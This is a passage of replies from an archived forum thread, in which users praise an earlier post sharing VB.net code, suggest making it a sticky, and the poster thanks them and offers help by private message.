Posts: 1,000
Reputation Power: 46
Status: Offline
Joined: Jun 10, 201014Year Member
Posts: 1,000
Reputation Power: 46
Nice Post Deserves a sticky

+Rep For You Sir
#6. Posted:
Hehctic
  • 2 Million
Status: Offline
Joined: Dec 28, 201013Year Member
Posts: 1,243
Reputation Power: 171
Status: Offline
Joined: Dec 28, 201013Year Member
Posts: 1,243
Reputation Power: 171
Shirifican wrote Nice Post Deserves a sticky

+Rep For You Sir



Thanks, I noticed there wasnt a big VB.net thread so I decided to make one to help others

any questions about the codes pm me
#7. Posted:
Rhesus
  • TTG Contender
Status: Offline
Joined: Jun 16, 200915Year Member
Posts: 3,082
Reputation Power: 134
Status: Offline
Joined: Jun 16, 200915Year Member
Posts: 3,082
Reputation Power: 134
this is very good this should definitely deserve a stick goof work bro
#8. Posted:
Hehctic
  • TTG Senior
Status: Offline
Joined: Dec 28, 201013Year Member
Posts: 1,243
Reputation Power: 171
Status: Offline
Joined: Dec 28, 201013Year Member
Posts: 1,243
Reputation Power: 171
-EvilKweevil- wrote this is very good this should definitely deserve a stick goof work bro


thanks bro, I hope this helped
#9. Posted:
Hehctic
  • 2 Million
Status: Offline
Joined: Dec 28, 201013Year Member
Posts: 1,243
Reputation Power: 171
Status: Offline
Joined: Dec 28, 201013Year Member
Posts: 1,243
Reputation Power: 171
does this help anyone else?
#10. Posted:
jmansmods
  • Challenger
Status: Offline
Joined: Feb 18, 201113Year Member
Posts: 165
Reputation Power: 5
Status: Offline
Joined: Feb 18, 201113Year Member
Posts: 165
Reputation Power: 5
dude this post really helps hope it helps more peopke to
Jump to:
You are viewing our Forum Archives. To view or take place in current topics click here.